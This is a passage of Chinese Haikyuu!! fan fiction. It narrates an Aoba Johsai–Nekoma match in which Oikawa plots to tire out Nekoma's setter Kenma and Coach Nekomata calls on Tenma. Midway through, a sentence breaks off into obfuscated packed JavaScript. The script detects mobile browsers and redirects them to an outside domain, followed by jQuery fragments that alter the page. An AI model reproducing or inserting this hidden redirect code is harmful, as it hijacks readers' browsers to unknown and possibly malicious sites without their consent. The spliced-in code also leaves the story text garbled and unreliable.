只见青叶城西的自由人渡亲治从另一侧冲出,他的脚步踏在三米线后,大跨越地冲至高空后一个侧身,手心朝上高高举起,在空中将落下的排球一个直传,以短促有力的直线进行漂亮的正传。
“自由人?!”天满惊讶,“他们的自由人还会二传?”
“不仅会,而且传得特别巧妙。”猫又教练连连点头称赞,他年轻时正是一名二传手,“手型和姿势非常标准,像是以前就打二传的。”
自由人踏足三米线内,下一次击球都不能组织高于球网的进攻,而渡恰恰踩在三米线后,靠着协调力扭转身体,在空中补上二传的位置,因此完全不受限制!
前方无人拦网——渡的二传方向竟是青城的王牌岩泉一,那人正高高地跃起,球到位的一刻迅速将球重重砸向音驹的地板。
自由人发起的快攻!
这是只爆发力十足的直线球!直打毫无防备的后场!
球即将落地,但一个轻薄的手掌插入球与地板之间仅仅几厘米的空袭。
——排球高高弹起。
“抱歉,位置不好。”夜久仰着头大喊,从侧面撑地跳起,“补救一下!”
音驹的拦网和接球是相辅相成的。
不集中在一起,而是四散开来,互相补充,互相增进,才能守住每一个死角。
夜久的余光一直看着前排的其他攻手,从岩泉一突然起跳,他便敏锐注意前排拦网的空袭,像一只灵巧的豹猫近乎瞬间赶至战场,这计避开拦网的大力扣杀竟被夜久卫辅鱼跃单手救起。
这就是音驹的防守——无论如何都不能让球落在地上。
——这叫位置不好吗?明明一传很到位。
及川彻望着另一边跃起的排球,在他看来,小研磨多走两步就能轻松地接起这个一传,明明是实打实的机会球啊。
“注意后排!”他大喊道,“拦网也跟上。”
又是几个来回的,这颗球终于被青城扣中音驹的地板上。
——真难缠啊。
青叶城西的所有人的思维同频共振,不约而同地冒出这句话。
虽然只是一小分,但在之前经历的大局每一个小分竟然都是如此,每一次攻防都要和音驹撕扯几个来回才能见分晓。
音驹的接球技术太令人头疼了,无论打到什么位置,都会有人冲过去接起。
及川彻沉着神色,目前而言,只有同时间多人进攻才能分散他们后排防守尤其是自由人的注意力。
但他并不想采用这种进攻方式,在职业赛场上这种方式更多用于短时间快攻,要求多个选手起跳作为诱饵,对整个队伍的体力消耗很大。
——体力。
及川彻突然灵光一现,他立刻把目光投向对面的半场——那位瘦弱的二传手。
“拖时间。”他背过身,对青城的其他人说,“无论机会球与否,每个球都尽力去救
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|12632069|132099||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,扣球尽量往角落打,可以不用管球速,总之把每一分的时间拉长。”
及川彻接着补充:“如果有机会,扣球也可以打向他们的二传手,让他去接一传。”
音驹并没有像他们这边有一位能弥补二传的自由人,更重要的是接扣球的体力消耗不亚于直接扣球。
“……”
青城全员秒懂,然后沉默不语,五双眼睛盯着及川看,不约而同地后退一步。
“——为什么要一齐退后啊!”
“啊……”花卷冷漠地解释着,“大概因为不想和你看上去很熟。”
“哈?为什么?说清楚啊!”
“你好恶毒,像电视剧里阴险狡诈的反派。”
“喂!这个计策明明很棒!”
这个计策确实很棒,很针对音驹。
一只木桶能够装多少水,取决于最短的那块木板,而音驹的短板便是他们的体系核心。
既然音驹喜欢稳扎稳打,那么他们就陪这群小猫咪耗下去,看看谁能坚持到最后。
——只要将孤爪研磨击溃,那么音驹的血液将会断流。
音驹和青城的第二局逐渐打至后半段,虽然青城的攻势减缓,但偏偏差距变没超过两分,从11:8打到此时的21:21,两校平分。
岩泉一和及川彻又配合一次快攻,以斜线角度径直打向音驹场地的三号位,那里站着孤爪研磨。
研磨垫起球,但高度不够,音驹又接着两次传球,只能高抛打入对面半场,成为青城的机会球。
这一分再次被青叶城西扣杀拿下。
猫又教练举起手,喊了暂停。
音驹的球员聚到场外,研磨一屁股坐在长凳上,一点也不想动。
“快吃根香蕉。”黑尾亲自剥皮,送到自家大脑嘴边,“糖分有助于恢复精神。”
“他们是故意往研磨那里打的。”夜久摸着下巴,“而且似乎有意把战线拉长。”
“嗯……他们想消耗我的体力。”研磨低着头,虽然还没到虚脱的感觉,他觉得身体状态像是打到第三轮的阶段,手臂有些抬不动。
“还是第一次想要速战速决。”黑尾笑了笑,活跃着气氛,“毕竟以前都是我们拖着对方打。”
“这局还剩一次暂停,大概到二十分的时候我会喊一次。”猫又教练低头问研磨,“还可以坚持吗?”
“……嗯。”研磨小口小口地啃着香蕉,在内心将体能数值化,又忍不住叹口气,有气无力地回答,“尽量吧……最好不用打加时。”
上一局就拉扯到三十分以上,这一局估计也很悬,虽然存在四分的分差但又快到对面的二传手的发球回合。即使赢下这一局,也只是一比一平手,还需要第三轮分出胜负。
至少还要在场上打三十分钟以上啊。
猫又教练皱着眉想着,确实如黑尾所言,青城的实力和音驹不相上下。越纠葛下去越是折磨,越是难以夺分,将会陷入青城的节奏,需要结束得越快越好!
但无论是练习赛,还是正赛,遇到实力相近的对手时,音驹一直都从未打过速战速决的比赛。
外界对音驹的评价——柔韧,细腻,固若金汤,但从未有过另一面的评价。
他慢慢地抬起视线,转向最边上游离太久的那个人。
“天满,去热身吧。”